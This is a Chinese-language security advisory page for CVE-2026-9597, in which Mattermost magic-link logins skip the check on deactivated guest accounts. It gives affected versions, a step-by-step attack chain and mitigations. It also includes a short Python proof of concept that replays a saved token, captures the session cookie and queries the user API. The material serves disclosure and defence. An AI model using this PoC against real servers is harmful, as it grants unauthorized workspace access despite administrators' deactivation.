IPBUF安全漏洞报告
English
CVE-2026-9597 CVSS 5.4 中危

CVE-2026-9597 Mattermost魔术链接会话验证绕过漏洞

披露日期: 2026-07-13

漏洞信息

漏洞编号
CVE-2026-9597
漏洞类型
身份认证绕过/会话管理缺陷
CVSS评分
5.4 中危
攻击向量
网络 (AV:N)
认证要求
低权限 (PR:L)
用户交互
无需交互 (UI:N)
影响产品
Mattermost

相关标签

身份认证绕过会话管理魔术链接MattermostGuest账户账户停用绕过MMSA-2026-00681中等严重性CVE-2026-9597

漏洞概述

CVE-2026-9597是Mattermost团队协作平台中的一个中等严重性安全漏洞,CVSS评分为5.4分。该漏洞存在于Mattermost的魔术链接(Magic-Link)令牌登录路径中,具体影响版本为11.7.x系列(11.7.0至11.7.2)和11.6.x系列(11.6.0至11.6.4)。

漏洞的核心问题在于,当用户通过魔术链接令牌进行身份验证时,系统未能正确验证该用户账户的当前状态。具体而言,当一个访客(Guest)账户被停用(deactivated)后,如果该用户此前已经获取了一个有效的魔术链接令牌,系统仍然会基于该令牌为其创建一个完全功能的会话,而不会检查账户是否已被停用。

这意味着管理员虽然已经停用了某个访客账户,但该访客仍然可以通过之前收到的魔术链接令牌绕过停用措施,重新获得对Mattermost工作区的访问权限。该漏洞的Mattermost官方公告编号为MMSA-2026-00681,由[email protected]负责任地披露。该漏洞的利用需要低权限(已拥有一个有效的魔术链接令牌),无需用户交互,通过网络即可远程利用,对机密性和完整性造成低程度的影响,但不影响系统可用性。

技术细节

Mattermost的魔术链接(Magic-Link)是一种无密码认证机制,允许用户通过点击发送到其邮箱中的特殊链接来登录系统。当用户请求魔术链接时,系统会生成一个包含身份验证信息的令牌,并通过电子邮件发送给用户。用户点击该链接后,系统验证令牌的有效性并创建用户会话。

该漏洞的技术原理在于:在魔术链接令牌登录的处理流程中,系统仅验证了令牌本身的有效性(如令牌是否过期、是否已被使用等),但遗漏了一个关键的检查步骤——验证令牌关联的用户账户是否处于活跃状态。具体来说,当管理员停用某个访客账户时,系统应该将该账户标记为非活跃状态,并在后续的认证流程中拒绝为已停用账户创建会话。

然而,在存在漏洞的版本中,魔术链接登录路径没有执行这一账户状态验证检查。因此,攻击者(即已停用的访客用户)可以利用在其账户被停用之前获取的魔术链接令牌,成功完成身份验证流程,获得一个完全功能的会话。

利用条件:
1. 攻击者必须曾经是一个有效的访客账户持有者;
2. 攻击者必须在其账户被停用之前获取了一个有效的魔术链接令牌;
3. 该令牌在其账户被停用后仍然处于有效期内(未被使用且未过期)。

利用方式相对简单:攻击者只需在其账户被管理员停用后,使用之前保存的魔术链接URL访问系统,即可绕过账户停用限制,获得对Mattermost工作区的未授权访问。

攻击链分析

STEP 1
步骤1:账户注册与令牌获取
攻击者以访客(Guest)身份被邀请加入Mattermost工作区,并通过魔术链接认证方式获取了一个有效的魔术链接令牌(如通过邮件中的链接保存URL)。
STEP 2
步骤2:账户被管理员停用
工作区管理员出于安全或其他原因,通过管理控制台将该访客账户停用(deactivate),预期该用户将无法再访问工作区。
STEP 3
步骤3:利用旧令牌绕过验证
攻击者使用在账户停用之前保存的魔术链接令牌,访问Mattermost的魔术链接登录端点。系统验证令牌有效性后,未检查账户状态,直接为已停用账户创建了完全功能的会话。
STEP 4
步骤4:未授权访问工作区
攻击者利用获得的会话成功访问Mattermost工作区,读取频道消息、获取敏感信息或执行其他被禁止的操作,绕过了管理员的账户停用措施。

PoC / 利用代码

⚠️ 仅供安全研究
以下代码仅用于安全研究和授权测试,未经授权使用属于违法行为。
PoC
# CVE-2026-9597 - Mattermost Magic-Link Session Validation Bypass PoC # This PoC demonstrates how a deactivated guest user can obtain a functional session # via a previously issued magic-link token. import requests TARGET_URL = "https://mattermost.example.com" MAGIC_LINK_TOKEN = "<previously_obtained_magic_link_token>" # Token obtained before deactivation def exploit_magic_link_bypass(): """ Exploit the magic-link session validation bypass vulnerability. The system fails to check if the guest account is deactivated before creating a session from a magic-link token. """ # Step 1: Construct the magic-link URL with the previously obtained token magic_link_url = f"{TARGET_URL}/login/magic_link?token={MAGIC_LINK_TOKEN}" # Step 2: Send a GET request to the magic-link endpoint # The server validates the token but does NOT check if the account is deactivated session = requests.Session() response = session.get(magic_link_url, allow_redirects=True) # Step 3: Check if a valid session was created despite account deactivation if response.status_code == 200: # Verify session cookies were set (indicating successful authentication) if 'MMAUTHTOKEN' in session.cookies.get_dict(): print("[+] Session created successfully despite account deactivation!") print(f"[+] Session token: {session.cookies.get_dict()['MMAUTHTOKEN']}") # Step 4: Use the session to access the workspace user_response = session.get(f"{TARGET_URL}/api/v4/users/me") if user_response.status_code == 200: user_data = user_response.json() print(f"[+] Authenticated as: {user_data.get('username')}") print(f"[+] User roles: {user_data.get('roles')}") return True else: print("[-] No session cookie set. Token may be expired or invalid.") else: print(f"[-] Request failed with status code: {response.status_code}") return False if __name__ == "__main__": print("[*] CVE-2026-9597 - Mattermost Magic-Link Bypass PoC") print("[*] Attempting to bypass guest account deactivation...") exploit_magic_link_bypass()

影响范围

Mattermost 11.7.0 <= 版本 <= 11.7.2
Mattermost 11.6.0 <= 版本 <= 11.6.4

防御指南

临时缓解措施
在无法立即升级的情况下,建议管理员采取以下临时缓解措施:1)立即吊销/使所有已签发的魔术链接令牌失效;2)在Mattermost管理控制台中暂时禁用魔术链接登录功能;3)审查所有已停用访客账户的登录日志,排查是否存在异常访问;4)对所有敏感频道和工作区进行安全审计,确认未被未授权访问;5)尽快升级到不受影响的版本(11.7.3+或11.6.5+)。

参考链接

快速导航: 前沿安全 最新收录域名列表 最新威胁情报列表 最新网站排名列表 最新工具资源列表 最新CVE漏洞列表